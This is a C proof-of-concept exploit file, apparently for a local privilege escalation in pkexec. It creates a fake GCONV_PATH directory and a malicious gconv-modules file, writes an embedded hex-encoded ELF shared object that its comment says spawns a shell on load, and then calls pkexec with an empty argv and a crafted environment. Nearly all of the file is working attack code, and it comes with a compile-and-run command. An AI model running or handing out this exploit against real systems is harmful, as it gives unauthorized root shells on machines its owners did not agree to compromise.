poc.c

// gcc poc.c -o poc && ./poc
#include <sys/stat.h>
#include <stddef.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>

// https://saarsec.rocks/2020/05/14/golf.so.html
const char evil_so[] = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00\x3e\x00\x01\x00\x00\x00\x28\x80\x04\x08\x00\x00\x00\x00\x3f\x00\x00\x00\x00\x00\x00\x00\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\xeb\x06\x40\x00\x38\x00\x02\x00\x48\xf7\xdb\xeb\x18\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x04\x08\x00\x00\x00\x00\x31\xc0\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x69\xeb\x5a\x00\x00\xd4\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x06\x00\x00\x00\x8f\x00\x00\x00\x00\x00\x00\x00\x8f\x80\x04\x08\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x28\x80\x04\x08\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x57\x48\x31\xff\x0f\x05\xb8\x6a\x00\x00\x00\x0f\x05\x5f\xb8\x3b\x00\x00\x00\x0f\x05";
const char evil_mod[] = "module INTERNAL evil// evil 2\n";
char *envp[] = {
        "evildir",
        "PATH=GCONV_PATH=.",
        "CHARSET=evil",
        "SHELL=evil",
        NULL
    };

int main() {
    int fd;
    char* dir = mkdtemp("pkexec");
    chdir(dir);
    // Create a fake executable
    mkdir("GCONV_PATH=.", 0755);
    fd = open("GCONV_PATH=./evildir", O_WRONLY|O_CREAT, 0755);
    close(fd);
    // Executing 'evildir' with PATH set to our 'GCONV_PATH=.' dir will map to
    // GCONV_PATH=./evildir, which will be written into argv[1] (really envp[0])
    mkdir("evildir", 0755);
    // Setup a malicious gconv-modules which uses GCONV_PATH/evil.so to convert to
    // charset 'evil'
    fd = open("evildir/gconv-modules", O_WRONLY|O_CREAT, 0755);
    write(fd, evil_mod, sizeof(evil_mod));
    close(fd);
    // Create a shared object that pops a shell upon load
    fd = open("evildir/evil.so", O_WRONLY|O_CREAT, 0755);
    write(fd, evil_so, sizeof(evil_so));
    close(fd);
    char* argv[] = {NULL};
    execve("/usr/bin/pkexec", argv, envp);
}